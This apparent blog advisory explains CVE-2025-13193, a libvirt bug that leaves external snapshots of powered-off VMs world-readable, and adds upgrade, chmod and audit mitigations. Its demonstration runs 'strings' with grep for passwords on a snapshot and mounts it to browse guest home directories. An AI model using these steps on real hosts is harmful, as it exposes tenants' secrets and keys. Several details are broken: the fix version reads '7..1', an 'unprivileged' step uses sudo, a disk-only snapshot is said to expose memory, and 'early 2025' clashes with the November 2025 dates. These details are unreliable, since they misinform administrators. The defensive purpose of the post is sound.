In early 2025, security researchers uncovered a serious vulnerability—CVE-2025-13193—affecting libvirt, a popular virtualization management toolkit. This flaw, tied directly to how libvirt handles external inactive snapshots for powered-off virtual machines (VMs), can grant unauthorized users access to sensitive data inside guest operating systems. Let’s break down what happened, check out the code behind it, and see what you can do about this vulnerability.
What Is the Problem?
CVE-2025-13193 is an *information disclosure* vulnerability. When a VM running under libvirt is shut down and an external snapshot is taken, the snapshot file on disk is created with world-readable permissions (0644). This means *any user* with access to the host system can open and read the snapshot, exposing the contents of guest OS memory, disks, and potentially sensitive information like passwords, SSH keys, and confidential files.
Why Does This Happen?
The default behavior when creating an external inactive snapshot is to store the guest's disk state into a file. Due to a bug, libvirt doesn't correctly restrict the file's permissions—so, unlike the actual VM disk files (which are usually only readable by root or the QEMU process), the snapshot can be read by anyone.
Demonstrating the Vulnerability
We'll walk through a simple example. This is for *educational purposes* only—do not test on a machine you do not own or have permission to use.
Let’s suppose you have a virtual machine managed by libvirt
virsh shutdown test-vm
Now, create an *external snapshot*
virsh snapshot-create-as test-vm --name snapshot1 --diskspec vda,file=/var/lib/libvirt/images/snap1.qcow2 --disk-only --atomic
With the snapshot created, check the permissions
ls -l /var/lib/libvirt/images/snap1.qcow2
Output
-rw-r--r-- 1 libvirt-qemu kvm 123456789 Jun 7 16:00 /var/lib/libvirt/images/snap1.qcow2
Notice the permissions are rw-r--r-- (0644): *readable by anyone*.
4. Exploiting the Issue
As an unprivileged user, you can now read the snapshot data—even if you shouldn't be able to.
strings /var/lib/libvirt/images/snap1.qcow2 | grep "password"
Or mount it to inspect its contents, if you have the right tools
sudo guestmount -a /var/lib/libvirt/images/snap1.qcow2 -i /mnt/snap1
ls /mnt/snap1/home/
If there are no additional *access controls* on the host, this file could reveal user data, secrets, or even SSH keys.
Real-World Impact
- Cloud providers: Tenants co-located on the same host could potentially access each other’s sensitive data.
- Enterprise environments: Unprivileged staff or attackers with limited shell access to the hypervisor could read VM data.
- InfoSec consequences: Information disclosure can lead to *privilege escalation*, *lateral movement*, or *data breaches*.
References
- CVE-2025-13193 in Red Hat CVE Database
- libvirt Security Notices
- libvirt ‘virsh snapshot-create-as’ documentation
- QEMU Disk Images and Permissions
Update libvirt
This vulnerability is expected to be fixed in libvirt 7..1 and above. Always update through your Linux distribution’s package manager:
sudo dnf upgrade libvirt
# or
sudo apt update && sudo apt upgrade libvirt
Until patched, change snapshot permissions after creation
chmod 600 /var/lib/libvirt/images/snap1.qcow2
You can also use an auditing tool or cron job to continually identify world-readable files in your VM images directory:
find /var/lib/libvirt/images/ -type f -perm -004
Conclusion
CVE-2025-13193 underscores how file permissions, even in advanced virtualization systems, matter a lot for security. If you use libvirt and rely on external snapshots, it's crucial to verify and restrict snapshot access—and to update to patched versions as soon as possible. A single overlooked permission can mean the difference between security and disclosure.
Stay vigilant and keep your virtualization stack updated!
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Timeline
Published on: 11/17/2025 17:15:47 UTC
Last modified on: 11/18/2025 14:06:29 UTC